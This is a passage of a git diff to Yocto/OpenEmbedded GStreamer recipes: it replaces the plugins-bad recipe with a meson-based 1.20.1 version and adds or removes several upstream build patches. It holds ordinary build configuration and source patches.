-PACKAGECONFIG[fluidsynth] = "--enable-fluidsynth,--disable-fluidsynth,fluidsynth"
-PACKAGECONFIG[hls] = "--enable-hls --with-hls-crypto=nettle,--disable-hls,nettle"
-PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,"
-PACKAGECONFIG[kms] = "--enable-kms,--disable-kms,libdrm"
-PACKAGECONFIG[libde265] = "--enable-libde265,--disable-libde265,libde265"
-PACKAGECONFIG[libmms] = "--enable-libmms,--disable-libmms,libmms"
-PACKAGECONFIG[libssh2] = "--enable-libssh2,--disable-libssh2,libssh2"
-PACKAGECONFIG[lcms2] = "--enable-lcms2,--disable-lcms2,lcms"
-PACKAGECONFIG[modplug] = "--enable-modplug,--disable-modplug,libmodplug"
-PACKAGECONFIG[msdk] = "--enable-msdk,--disable-msdk,intel-mediasdk"
-PACKAGECONFIG[neon] = "--enable-neon,--disable-neon,neon"
-PACKAGECONFIG[openal] = "--enable-openal,--disable-openal,openal-soft"
-PACKAGECONFIG[opencv] = "--enable-opencv,--disable-opencv,opencv"
-PACKAGECONFIG[openh264] = "--enable-openh264,--disable-openh264,openh264"
-PACKAGECONFIG[openjpeg] = "--enable-openjpeg,--disable-openjpeg,openjpeg"
-PACKAGECONFIG[openmpt] = "--enable-openmpt,--disable-openmpt,libopenmpt"
-# the opus encoder/decoder elements are now in the -base package,
-# but the opus parser remains in -bad
-PACKAGECONFIG[opusparse] = "--enable-opus,--disable-opus,libopus"
-PACKAGECONFIG[resindvd] = "--enable-resindvd,--disable-resindvd,libdvdread libdvdnav"
-PACKAGECONFIG[rsvg] = "--enable-rsvg,--disable-rsvg,librsvg"
-PACKAGECONFIG[rtmp] = "--enable-rtmp,--disable-rtmp,rtmpdump"
-PACKAGECONFIG[sbc] = "--enable-sbc,--disable-sbc,sbc"
-PACKAGECONFIG[sctp] = "--enable-sctp,--disable-sctp,usrsctp"
-PACKAGECONFIG[smoothstreaming] = "--enable-smoothstreaming,--disable-smoothstreaming,libxml2"
-PACKAGECONFIG[sndfile] = "--enable-sndfile,--disable-sndfile,libsndfile1"
-PACKAGECONFIG[srtp] = "--enable-srtp,--disable-srtp,libsrtp"
-PACKAGECONFIG[tinyalsa] = "--enable-tinyalsa,--disable-tinyalsa,tinyalsa"
-PACKAGECONFIG[ttml] = "--enable-ttml,--disable-ttml,libxml2 pango cairo"
-PACKAGECONFIG[uvch264] = "--enable-uvch264,--disable-uvch264,libusb1 libgudev"
-PACKAGECONFIG[voaacenc] = "--enable-voaacenc,--disable-voaacenc,vo-aacenc"
-PACKAGECONFIG[voamrwbenc] = "--enable-voamrwbenc,--disable-voamrwbenc,vo-amrwbenc"
-PACKAGECONFIG[vulkan] = "--enable-vulkan,--disable-vulkan,vulkan-loader"
-PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,wayland-native wayland wayland-protocols libdrm"
-PACKAGECONFIG[webp] = "--enable-webp,--disable-webp,libwebp"
-PACKAGECONFIG[webrtc] = "--enable-webrtc,--disable-webrtc,libnice"
-PACKAGECONFIG[webrtcdsp] = "--enable-webrtcdsp,--disable-webrtcdsp,webrtc-audio-processing"
-
-# these plugins have no corresponding library in OE-core or meta-openembedded:
-# openni2 winks direct3d directsound winscreencap apple_media iqa
-# android_media avc bs2b chromaprint dts fdkaac gme gsm kate ladspa
-# lv2 mpeg2enc mplex musepack nvenc ofa opensles soundtouch
-# spandsp teletextdec vdpau wasapi wpe x265 zbar
-
-EXTRA_OECONF += " \
- --enable-decklink \
- --enable-dvb \
- --enable-fbdev \
- --enable-ipcpipeline \
- --enable-netsim \
- --enable-shm \
- --disable-android_media \
- --disable-aom \
- --disable-apple_media \
- --disable-avc \
- --disable-bs2b \
- --disable-chromaprint \
- --disable-direct3d \
- --disable-directsound \
- --disable-dts \
- --disable-fdk_aac \
- --disable-gme \
- --disable-gsm \
- --disable-iqa \
- --disable-kate \
- --disable-ladspa \
- --disable-lv2 \
- --disable-mpeg2enc \
- --disable-mplex \
- --disable-musepack \
- --disable-nvenc \
- --disable-ofa \
- --disable-openexr \
- --disable-openni2 \
- --disable-opensles \
- --disable-soundtouch \
- --disable-spandsp \
- --disable-srt \
- --disable-teletextdec \
- --disable-vdpau \
- --disable-wasapi \
- --disable-wildmidi \
- --disable-winks \
- --disable-winscreencap \
- --disable-wpe \
- --disable-x265 \
- --disable-zbar \
- ${@bb.utils.contains("TUNE_FEATURES", "mx32", "--disable-yadif", "", d)} \
-"
-
-export OPENCV_PREFIX = "${STAGING_DIR_TARGET}${prefix}"
-
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-FILES_${PN}-freeverb += "${datadir}/gstreamer-${LIBV}/presets/GstFreeverb.prs"
-FILES_${PN}-opencv += "${datadir}/gst-plugins-bad/${LIBV}/opencv*"
-FILES_${PN}-voamrwbenc += "${datadir}/gstreamer-${LIBV}/presets/GstVoAmrwbEnc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.20.1.bb
new file mode 100644
index 0000000000..78e8f35025
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.20.1.bb
@@ -0,0 +1,165 @@
+require gstreamer1.0-plugins-common.inc
+require gstreamer1.0-plugins-license.inc
+
+DESCRIPTION = "'Bad' GStreamer plugins and helper libraries "
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-plugins-bad/-/issues"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${PV}.tar.xz \
+ file://0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch \
+ file://0002-avoid-including-sys-poll.h-directly.patch \
+ file://0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch \
+ file://0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch \
+ file://0005-msdk-fix-includedir-path.patch \
+ "
+SRC_URI[sha256sum] = "09d3c2cf5911f0bc7da6bf557a55251779243d3de216b6a26cc90c445b423848"
+
+S = "${WORKDIR}/gst-plugins-bad-${PV}"
+
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS += "gstreamer1.0-plugins-base"
+
+inherit gobject-introspection
+
+PACKAGECONFIG ??= " \
+ ${GSTREAMER_ORC} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'directfb vulkan x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gl', '', d)} \
+ bz2 closedcaption curl dash dtls hls openssl sbc smoothstreaming \
+ sndfile ttml uvch264 webp \
+ ${@bb.utils.contains('TUNE_FEATURES', 'mx32', '', 'rsvg', d)} \
+"
+
+PACKAGECONFIG[aom] = "-Daom=enabled,-Daom=disabled,aom"
+PACKAGECONFIG[assrender] = "-Dassrender=enabled,-Dassrender=disabled,libass"
+PACKAGECONFIG[bluez] = "-Dbluez=enabled,-Dbluez=disabled,bluez5"
+PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
+PACKAGECONFIG[closedcaption] = "-Dclosedcaption=enabled,-Dclosedcaption=disabled,pango cairo"
+PACKAGECONFIG[curl] = "-Dcurl=enabled,-Dcurl=disabled,curl"
+PACKAGECONFIG[dash] = "-Ddash=enabled,-Ddash=disabled,libxml2"
+PACKAGECONFIG[dc1394] = "-Ddc1394=enabled,-Ddc1394=disabled,libdc1394"
+PACKAGECONFIG[directfb] = "-Ddirectfb=enabled,-Ddirectfb=disabled,directfb"
+PACKAGECONFIG[dtls] = "-Ddtls=enabled,-Ddtls=disabled,openssl"
+PACKAGECONFIG[faac] = "-Dfaac=enabled,-Dfaac=disabled,faac"
+PACKAGECONFIG[faad] = "-Dfaad=enabled,-Dfaad=disabled,faad2"
+PACKAGECONFIG[fluidsynth] = "-Dfluidsynth=enabled,-Dfluidsynth=disabled,fluidsynth"
+PACKAGECONFIG[hls] = "-Dhls=enabled,-Dhls=disabled,"
+# Pick atleast one crypto backend below when enabling hls
+PACKAGECONFIG[nettle] = "-Dhls-crypto=nettle,,nettle"
+PACKAGECONFIG[openssl] = "-Dhls-crypto=openssl,,openssl"
+PACKAGECONFIG[gcrypt] = "-Dhls-crypto=libgcrypt,,libgcrypt"
+# the gl packageconfig enables OpenGL elements that haven't been ported
+# to -base yet. They depend on the gstgl library in -base, so we do
+# not add GL dependencies here, since these are taken care of in -base.
+PACKAGECONFIG[gl] = "-Dgl=enabled,-Dgl=disabled,"
+PACKAGECONFIG[kms] = "-Dkms=enabled,-Dkms=disabled,libdrm"
+PACKAGECONFIG[libde265] = "-Dlibde265=enabled,-Dlibde265=disabled,libde265"
+PACKAGECONFIG[libssh2] = "-Dcurl-ssh2=enabled,-Dcurl-ssh2=disabled,libssh2"
+PACKAGECONFIG[lcms2] = "-Dcolormanagement=enabled,-Dcolormanagement=disabled,lcms"
+PACKAGECONFIG[modplug] = "-Dmodplug=enabled,-Dmodplug=disabled,libmodplug"
+PACKAGECONFIG[msdk] = "-Dmsdk=enabled,-Dmsdk=disabled,intel-mediasdk"
+PACKAGECONFIG[neon] = "-Dneon=enabled,-Dneon=disabled,neon"
+PACKAGECONFIG[openal] = "-Dopenal=enabled,-Dopenal=disabled,openal-soft"
+PACKAGECONFIG[opencv] = "-Dopencv=enabled,-Dopencv=disabled,opencv"
+PACKAGECONFIG[openh264] = "-Dopenh264=enabled,-Dopenh264=disabled,openh264"
+PACKAGECONFIG[openjpeg] = "-Dopenjpeg=enabled,-Dopenjpeg=disabled,openjpeg"
+PACKAGECONFIG[openmpt] = "-Dopenmpt=enabled,-Dopenmpt=disabled,libopenmpt"
+# the opus encoder/decoder elements are now in the -base package,
+# but the opus parser remains in -bad
+PACKAGECONFIG[opusparse] = "-Dopus=enabled,-Dopus=disabled,libopus"
+PACKAGECONFIG[resindvd] = "-Dresindvd=enabled,-Dresindvd=disabled,libdvdread libdvdnav"
+PACKAGECONFIG[rsvg] = "-Drsvg=enabled,-Drsvg=disabled,librsvg"
+PACKAGECONFIG[rtmp] = "-Drtmp=enabled,-Drtmp=disabled,rtmpdump"
+PACKAGECONFIG[sbc] = "-Dsbc=enabled,-Dsbc=disabled,sbc"
+PACKAGECONFIG[sctp] = "-Dsctp=enabled,-Dsctp=disabled"
+PACKAGECONFIG[smoothstreaming] = "-Dsmoothstreaming=enabled,-Dsmoothstreaming=disabled,libxml2"
+PACKAGECONFIG[sndfile] = "-Dsndfile=enabled,-Dsndfile=disabled,libsndfile1"
+PACKAGECONFIG[srt] = "-Dsrt=enabled,-Dsrt=disabled,srt"
+PACKAGECONFIG[srtp] = "-Dsrtp=enabled,-Dsrtp=disabled,libsrtp"
+PACKAGECONFIG[tinyalsa] = "-Dtinyalsa=enabled,-Dtinyalsa=disabled,tinyalsa"
+PACKAGECONFIG[ttml] = "-Dttml=enabled,-Dttml=disabled,libxml2 pango cairo"
+PACKAGECONFIG[uvch264] = "-Duvch264=enabled,-Duvch264=disabled,libusb1 libgudev"
+PACKAGECONFIG[v4l2codecs] = "-Dv4l2codecs=enabled,-Dv4l2codecs=disabled,libgudev"
+PACKAGECONFIG[va] = "-Dva=enabled,-Dva=disabled,libva"
+PACKAGECONFIG[voaacenc] = "-Dvoaacenc=enabled,-Dvoaacenc=disabled,vo-aacenc"
+PACKAGECONFIG[voamrwbenc] = "-Dvoamrwbenc=enabled,-Dvoamrwbenc=disabled,vo-amrwbenc"
+PACKAGECONFIG[vulkan] = "-Dvulkan=enabled,-Dvulkan=disabled,vulkan-loader shaderc-native"
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,wayland-native wayland wayland-protocols libdrm"
+PACKAGECONFIG[webp] = "-Dwebp=enabled,-Dwebp=disabled,libwebp"
+PACKAGECONFIG[webrtc] = "-Dwebrtc=enabled,-Dwebrtc=disabled,libnice"
+PACKAGECONFIG[webrtcdsp] = "-Dwebrtcdsp=enabled,-Dwebrtcdsp=disabled,webrtc-audio-processing"
+PACKAGECONFIG[zbar] = "-Dzbar=enabled,-Dzbar=disabled,zbar"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,libxcb libxkbcommon"
+PACKAGECONFIG[x265] = "-Dx265=enabled,-Dx265=disabled,x265"
+
+GSTREAMER_GPL = "${@bb.utils.filter('PACKAGECONFIG', 'faad resindvd x265', d)}"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Daes=enabled \
+ -Dcodecalpha=enabled \
+ -Ddecklink=enabled \
+ -Ddvb=enabled \
+ -Dfbdev=enabled \
+ -Dipcpipeline=enabled \
+ -Dshm=enabled \
+ -Dtranscode=enabled \
+ -Dandroidmedia=disabled \
+ -Dapplemedia=disabled \
+ -Dasio=disabled \
+ -Davtp=disabled \
+ -Dbs2b=disabled \
+ -Dchromaprint=disabled \
+ -Dd3dvideosink=disabled \
+ -Dd3d11=disabled \
+ -Ddirectsound=disabled \
+ -Ddts=disabled \
+ -Dfdkaac=disabled \
+ -Dflite=disabled \
+ -Dgme=disabled \
+ -Dgs=disabled \
+ -Dgsm=disabled \
+ -Diqa=disabled \
+ -Dkate=disabled \
+ -Dladspa=disabled \
+ -Dldac=disabled \
+ -Dlv2=disabled \
+ -Dmagicleap=disabled \
+ -Dmediafoundation=disabled \
+ -Dmicrodns=disabled \
+ -Dmpeg2enc=disabled \
+ -Dmplex=disabled \
+ -Dmusepack=disabled \
+ -Dnvcodec=disabled \
+ -Dopenexr=disabled \
+ -Dopenni2=disabled \
+ -Dopenaptx=disabled \
+ -Dopensles=disabled \
+ -Donnx=disabled \
+ -Dqroverlay=disabled \
+ -Dsoundtouch=disabled \
+ -Dspandsp=disabled \
+ -Dsvthevcenc=disabled \
+ -Dteletext=disabled \
+ -Dwasapi=disabled \
+ -Dwasapi2=disabled \
+ -Dwildmidi=disabled \
+ -Dwinks=disabled \
+ -Dwinscreencap=disabled \
+ -Dwpe=disabled \
+ -Dzxing=disabled \
+"
+
+export OPENCV_PREFIX = "${STAGING_DIR_TARGET}${prefix}"
+
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+FILES:${PN}-freeverb += "${datadir}/gstreamer-1.0/presets/GstFreeverb.prs"
+FILES:${PN}-opencv += "${datadir}/gst-plugins-bad/1.0/opencv*"
+FILES:${PN}-transcode += "${datadir}/gstreamer-1.0/encoding-profiles"
+FILES:${PN}-voamrwbenc += "${datadir}/gstreamer-1.0/presets/GstVoAmrwbEnc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch
new file mode 100644
index 0000000000..d5d9838372
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch
@@ -0,0 +1,44 @@
+From f9d48cd85ee68207733b1b91a00453462c33524a Mon Sep 17 00:00:00 2001
+From: zhouming <b42586@freescale.com>
+Date: Wed, 14 May 2014 10:16:20 +0800
+Subject: [PATCH 1/4] ENGR00312515: get caps from src pad when query caps
+
+https://bugzilla.gnome.org/show_bug.cgi?id=728312
+
+Upstream-Status: Pending
+
+Signed-off-by: zhouming <b42586@freescale.com>
+---
+ gst-libs/gst/tag/gsttagdemux.c | 13 +++++++++++++
+ 1 file changed, 13 insertions(+)
+ mode change 100644 => 100755 gst-libs/gst/tag/gsttagdemux.c
+
+diff --git a/gst-libs/gst/tag/gsttagdemux.c b/gst-libs/gst/tag/gsttagdemux.c
+old mode 100644
+new mode 100755
+index f545857..62d10ef
+--- a/gst-libs/gst/tag/gsttagdemux.c
++++ b/gst-libs/gst/tag/gsttagdemux.c
+@@ -1777,6 +1777,19 @@ gst_tag_demux_pad_query (GstPad * pad, GstObject * parent, GstQuery * query)
+ }
+ break;
+ }
++ case GST_QUERY_CAPS:
++ {
++
++ /* We can hijack caps query if we typefind already */
++ if (demux->priv->src_caps) {
++ gst_query_set_caps_result (query, demux->priv->src_caps);
++ res = TRUE;
++ } else {
++ res = gst_pad_query_default (pad, parent, query);
++ }
++ break;
++ }
++
+ default:
+ res = gst_pad_query_default (pad, parent, query);
+ break;
+--
+2.28.0
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-gstreamer-gl.pc.in-don-t-append-GL_CFLAGS-to-CFLAGS.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-gstreamer-gl.pc.in-don-t-append-GL_CFLAGS-to-CFLAGS.patch
deleted file mode 100644
index 251dc172cb..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-gstreamer-gl.pc.in-don-t-append-GL_CFLAGS-to-CFLAGS.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 61a672e79c8cb1aeeeda4c968997c577ac73a8f3 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 12 May 2017 16:47:12 +0300
-Subject: [PATCH] gstreamer-gl.pc.in: don't append GL_CFLAGS to CFLAGS
-
-Dependencies' include directories should not be added in this way;
-it causes problems when cross-compiling in sysroot environments.
-
-Upstream-Status: Pending
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- pkgconfig/gstreamer-gl.pc.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pkgconfig/gstreamer-gl.pc.in b/pkgconfig/gstreamer-gl.pc.in
-index dc672a9..8c290ba 100644
---- a/pkgconfig/gstreamer-gl.pc.in
-+++ b/pkgconfig/gstreamer-gl.pc.in
-@@ -13,4 +13,4 @@ Version: @VERSION@
- Requires: gstreamer-video-@GST_API_VERSION@ gstreamer-base-@GST_API_VERSION@ gstreamer-@GST_API_VERSION@
-
- Libs: -L${libdir} -lgstgl-@GST_API_VERSION@
--Cflags: -I${includedir} -I${libdir}/gstreamer-@GST_API_VERSION@/include @GL_CFLAGS@
-+Cflags: -I${includedir} -I${libdir}/gstreamer-@GST_API_VERSION@/include
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-Makefile.am-prefix-calls-to-pkg-config-with-PKG_CONF.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-Makefile.am-prefix-calls-to-pkg-config-with-PKG_CONF.patch
deleted file mode 100644
index 08cbfb7c2a..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-Makefile.am-prefix-calls-to-pkg-config-with-PKG_CONF.patch
+++ /dev/null
@@ -1,295 +0,0 @@
-From 9601fc0cd6751a1affdc8717217b95931db31d7f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 5 Apr 2018 10:26:25 +0800
-Subject: [PATCH] Makefile.am: prefix calls to pkg-config with
- PKG_CONFIG_SYSROOT_DIR
-
-Upstream-Status: Pending [review on oe-core maillist]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- gst-libs/gst/allocators/Makefile.am | 4 ++--
- gst-libs/gst/app/Makefile.am | 4 ++--
- gst-libs/gst/audio/Makefile.am | 12 ++++++------
- gst-libs/gst/gl/Makefile.am | 8 ++++----
- gst-libs/gst/pbutils/Makefile.am | 12 ++++++------
- gst-libs/gst/riff/Makefile.am | 8 ++++----
- gst-libs/gst/rtp/Makefile.am | 8 ++++----
- gst-libs/gst/rtsp/Makefile.am | 4 ++--
- gst-libs/gst/sdp/Makefile.am | 4 ++--
- gst-libs/gst/tag/Makefile.am | 8 ++++----
- gst-libs/gst/video/Makefile.am | 8 ++++----
- 11 files changed, 40 insertions(+), 40 deletions(-)
-
-diff --git a/gst-libs/gst/allocators/Makefile.am b/gst-libs/gst/allocators/Makefile.am
-index 1ecc950..d6417ac 100644
---- a/gst-libs/gst/allocators/Makefile.am
-+++ b/gst-libs/gst/allocators/Makefile.am
-@@ -39,7 +39,7 @@ GstAllocators-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstallocators-@
- --c-include "gst/allocators/allocators.h" \
- -I$(top_srcdir)/gst-libs \
- -I$(top_builddir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
- --library=libgstallocators-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --libtool="${LIBTOOL}" \
-@@ -63,7 +63,7 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- $(INTROSPECTION_COMPILER) \
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES = $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/app/Makefile.am b/gst-libs/gst/app/Makefile.am
-index 5bfd606..6441674 100644
---- a/gst-libs/gst/app/Makefile.am
-+++ b/gst-libs/gst/app/Makefile.am
-@@ -51,8 +51,8 @@ GstApp-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstapp-@GST_API_VERSIO
- --c-include "gst/app/app.h" \
- -I$(top_srcdir)/gst-libs \
- -I$(top_builddir)/gst-libs \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library=libgstapp-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --include=GstBase-@GST_API_VERSION@ \
-diff --git a/gst-libs/gst/audio/Makefile.am b/gst-libs/gst/audio/Makefile.am
-index 7fb65f2..5379f79 100644
---- a/gst-libs/gst/audio/Makefile.am
-+++ b/gst-libs/gst/audio/Makefile.am
-@@ -176,12 +176,12 @@ GstAudio-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstaudio-@GST_API_VE
- -I$(top_srcdir)/gst-libs \
- -I$(top_builddir)/gst-libs \
- --c-include "gst/audio/audio.h" \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --add-include-path="$(top_builddir)/gst-libs/gst/tag/" \
- --library=libgstaudio-@GST_API_VERSION@.la \
-- --library-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-@GST_API_VERSION@` \
-- --library-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-base-@GST_API_VERSION@` \
-+ --library-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-@GST_API_VERSION@` \
-+ --library-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=libdir gstreamer-base-@GST_API_VERSION@` \
- --library-path="$(top_builddir)/gst-libs/gst/tag/" \
- --include=Gst-@GST_API_VERSION@ \
- --include=GstBase-@GST_API_VERSION@ \
-@@ -210,8 +210,8 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
- --includedir="$(top_builddir)/gst-libs/gst/tag/" \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES += $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/gl/Makefile.am b/gst-libs/gst/gl/Makefile.am
-index 3276d7f..0cdfe26 100644
---- a/gst-libs/gst/gl/Makefile.am
-+++ b/gst-libs/gst/gl/Makefile.am
-@@ -209,9 +209,9 @@ GstGL-@GST_API_VERSION@.gir: $(INTROSPECTION_SCANNER) libgstgl-@GST_API_VERSION@
- $(GST_PLUGINS_BASE_CFLAGS) \
- $(GL_CFLAGS) \
- --add-include-path="$(top_builddir)/gst-libs/gst/video/" \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --add-include-path=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library-path="$(top_builddir)/gst-libs/gst/video/" \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --add-include-path=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- --library=libgstgl-@GST_API_VERSION@.la \
- --include=Gst-@GST_API_VERSION@ \
- --include=GstBase-@GST_API_VERSION@ \
-@@ -241,8 +241,8 @@ typelibs_DATA = $(BUILT_GIRSOURCES:.gir=.typelib)
- --includedir=$(srcdir) \
- --includedir=$(builddir) \
- --includedir="$(top_builddir)/gst-libs/gst/video/" \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-- --includedir=`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-@GST_API_VERSION@` \
-+ --includedir=$(PKG_CONFIG_SYSROOT_DIR)`PKG_CONFIG_PATH="$(GST_PKG_CONFIG_PATH)" $(PKG_CONFIG) --variable=girdir gstreamer-base-@GST_API_VERSION@` \
- $(INTROSPECTION_COMPILER_OPTS) $< -o $(@F)
-
- CLEANFILES += $(BUILT_GIRSOURCES) $(typelibs_DATA)
-diff --git a/gst-libs/gst/pbutils/Makefile.am b/gst-libs/gst/pbutils/Makefile.am
-index 35a6e44..49d6894 100644
---- a/gst-libs/gst/pbutils/Makefile.am
-+++ b/gst-libs/gst/pbutils/Makefile.am
